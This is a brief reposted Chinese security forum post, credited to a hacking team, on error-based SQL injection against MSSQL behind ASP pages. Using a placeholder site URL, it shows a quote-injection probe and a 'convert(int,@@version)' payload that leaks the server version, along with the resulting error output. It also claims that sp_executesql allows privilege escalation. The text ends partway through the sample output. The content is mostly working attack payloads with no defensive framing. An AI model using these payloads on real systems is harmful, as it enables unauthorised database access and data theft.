[转载]另类的mssql注入技巧

信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

利用exec sp_executesql 的漏洞跨权限，思路值得参考：
EXAMPLE TO USE:
http://www.xxxx.com/FullStory.asp?id=1

Exploiting the hole:
http://www.xxxx.com/FullStory.asp?id=1'

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ''.
/Including/general.asp, line 840\




VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Code:

[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright